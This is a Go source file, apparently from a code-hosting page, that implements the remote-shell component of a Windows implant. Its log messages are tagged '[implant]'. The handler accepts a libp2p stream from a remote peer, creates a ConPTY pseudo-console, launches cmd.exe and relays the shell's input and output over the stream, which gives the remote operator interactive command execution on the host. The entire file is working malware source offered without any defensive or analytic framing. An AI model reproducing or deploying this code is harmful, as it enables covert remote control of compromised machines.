205 lines
5.1 KiB
Go
205 lines
5.1 KiB
Go
//go:build windows
|
|
|
|
package core
|
|
|
|
import (
|
|
"encoding/binary"
|
|
"io"
|
|
"log"
|
|
"time"
|
|
"unsafe"
|
|
|
|
"github.com/libp2p/go-libp2p/core/network"
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
var (
|
|
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
|
procCreatePseudoConsole = modKernel32.NewProc("CreatePseudoConsole")
|
|
procClosePseudoConsole = modKernel32.NewProc("ClosePseudoConsole")
|
|
procInitializeProcThreadAttributeList = modKernel32.NewProc("InitializeProcThreadAttributeList")
|
|
procUpdateProcThreadAttribute = modKernel32.NewProc("UpdateProcThreadAttribute")
|
|
)
|
|
|
|
type coord struct {
|
|
X, Y int16
|
|
}
|
|
|
|
func (c coord) pack() uintptr {
|
|
return uintptr((int32(c.Y) << 16) | int32(c.X))
|
|
}
|
|
|
|
type pipeHandle struct {
|
|
h windows.Handle
|
|
}
|
|
|
|
func (p *pipeHandle) Read(b []byte) (int, error) {
|
|
var n uint32
|
|
err := windows.ReadFile(p.h, b, &n, nil)
|
|
return int(n), err
|
|
}
|
|
|
|
func (p *pipeHandle) Write(b []byte) (int, error) {
|
|
var n uint32
|
|
err := windows.WriteFile(p.h, b, &n, nil)
|
|
return int(n), err
|
|
}
|
|
|
|
func (p *pipeHandle) Close() error {
|
|
return windows.CloseHandle(p.h)
|
|
}
|
|
|
|
func (a *Agent) handleShellStream(s network.Stream) {
|
|
defer s.Close()
|
|
remotePeer := s.Conn().RemotePeer()
|
|
|
|
var rows, cols uint16
|
|
if err := binary.Read(s, binary.LittleEndian, &rows); err != nil {
|
|
log.Printf("[implant] read shell rows: %v", err)
|
|
return
|
|
}
|
|
if err := binary.Read(s, binary.LittleEndian, &cols); err != nil {
|
|
log.Printf("[implant] read shell cols: %v", err)
|
|
return
|
|
}
|
|
if rows < 10 || cols < 80 {
|
|
rows = 30
|
|
cols = 120
|
|
}
|
|
co := coord{X: int16(cols), Y: int16(rows)}
|
|
log.Printf("[implant] shell using rows=%d cols=%d", rows, cols)
|
|
|
|
if err := procCreatePseudoConsole.Find(); err != nil {
|
|
log.Printf("[implant] ConPTY not available: %v", err)
|
|
return
|
|
}
|
|
|
|
var hPtyIn, hCmdIn windows.Handle
|
|
var hCmdOut, hPtyOut windows.Handle
|
|
if err := windows.CreatePipe(&hPtyIn, &hCmdIn, nil, 0); err != nil {
|
|
log.Printf("[implant] pipe in: %v", err)
|
|
return
|
|
}
|
|
if err := windows.CreatePipe(&hCmdOut, &hPtyOut, nil, 0); err != nil {
|
|
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
|
log.Printf("[implant] pipe out: %v", err)
|
|
return
|
|
}
|
|
|
|
var hPC windows.Handle
|
|
ret, _, _ := procCreatePseudoConsole.Call(
|
|
co.pack(),
|
|
uintptr(hPtyIn),
|
|
uintptr(hPtyOut),
|
|
0,
|
|
uintptr(unsafe.Pointer(&hPC)),
|
|
)
|
|
if ret != 0 {
|
|
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
|
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
|
log.Printf("[implant] create pty failed: ret=0x%x", ret)
|
|
return
|
|
}
|
|
log.Printf("[implant] ConPTY created, hPC=0x%x", uintptr(hPC))
|
|
|
|
var sz uintptr
|
|
procInitializeProcThreadAttributeList.Call(0, 1, 0, uintptr(unsafe.Pointer(&sz)))
|
|
attrList := make([]byte, sz)
|
|
ret, _, _ = procInitializeProcThreadAttributeList.Call(
|
|
uintptr(unsafe.Pointer(&attrList[0])),
|
|
1, 0,
|
|
uintptr(unsafe.Pointer(&sz)),
|
|
)
|
|
if ret == 0 {
|
|
log.Printf("[implant] init attr list failed")
|
|
procClosePseudoConsole.Call(uintptr(hPC))
|
|
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
|
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
|
return
|
|
}
|
|
|
|
ret, _, _ = procUpdateProcThreadAttribute.Call(
|
|
uintptr(unsafe.Pointer(&attrList[0])),
|
|
0,
|
|
0x00020016,
|
|
uintptr(hPC),
|
|
unsafe.Sizeof(hPC),
|
|
0, 0,
|
|
)
|
|
if ret == 0 {
|
|
log.Printf("[implant] update attr failed")
|
|
procClosePseudoConsole.Call(uintptr(hPC))
|
|
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
|
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
|
return
|
|
}
|
|
|
|
cmdW, err := windows.UTF16PtrFromString("cmd.exe")
|
|
if err != nil {
|
|
procClosePseudoConsole.Call(uintptr(hPC))
|
|
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
|
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
|
return
|
|
}
|
|
|
|
si := windows.StartupInfoEx{}
|
|
si.StartupInfo.Cb = uint32(unsafe.Sizeof(windows.StartupInfoEx{}))
|
|
si.ProcThreadAttributeList = (*windows.ProcThreadAttributeList)(unsafe.Pointer(&attrList[0]))
|
|
|
|
pi := new(windows.ProcessInformation)
|
|
err = windows.CreateProcess(
|
|
nil, cmdW,
|
|
nil, nil,
|
|
false,
|
|
windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_UNICODE_ENVIRONMENT,
|
|
nil, nil,
|
|
(*windows.StartupInfo)(unsafe.Pointer(&si)),
|
|
pi,
|
|
)
|
|
if err != nil {
|
|
log.Printf("[implant] create process: %v", err)
|
|
procClosePseudoConsole.Call(uintptr(hPC))
|
|
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
|
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
|
return
|
|
}
|
|
|
|
windows.CloseHandle(pi.Thread)
|
|
log.Printf("[implant] shell started via ConPTY for %s", remotePeer.String())
|
|
|
|
inPipe := &pipeHandle{h: hCmdIn}
|
|
outPipe := &pipeHandle{h: hCmdOut}
|
|
|
|
done := make(chan struct{}, 2)
|
|
|
|
go func() {
|
|
io.Copy(inPipe, s)
|
|
inPipe.Close()
|
|
time.AfterFunc(2*time.Second, func() {
|
|
if pi.Process != 0 {
|
|
windows.TerminateProcess(pi.Process, 1)
|
|
}
|
|
})
|
|
done <- struct{}{}
|
|
}()
|
|
|
|
go func() {
|
|
io.Copy(s, outPipe)
|
|
outPipe.Close()
|
|
done <- struct{}{}
|
|
}()
|
|
|
|
<-done
|
|
<-done
|
|
|
|
procClosePseudoConsole.Call(uintptr(hPC))
|
|
s.Close()
|
|
windows.CloseHandle(hPtyIn)
|
|
windows.CloseHandle(hPtyOut)
|
|
|
|
windows.WaitForSingleObject(pi.Process, windows.INFINITE)
|
|
windows.CloseHandle(pi.Process)
|
|
|
|
log.Printf("[implant] shell ended for %s", remotePeer.String())
|
|
}
|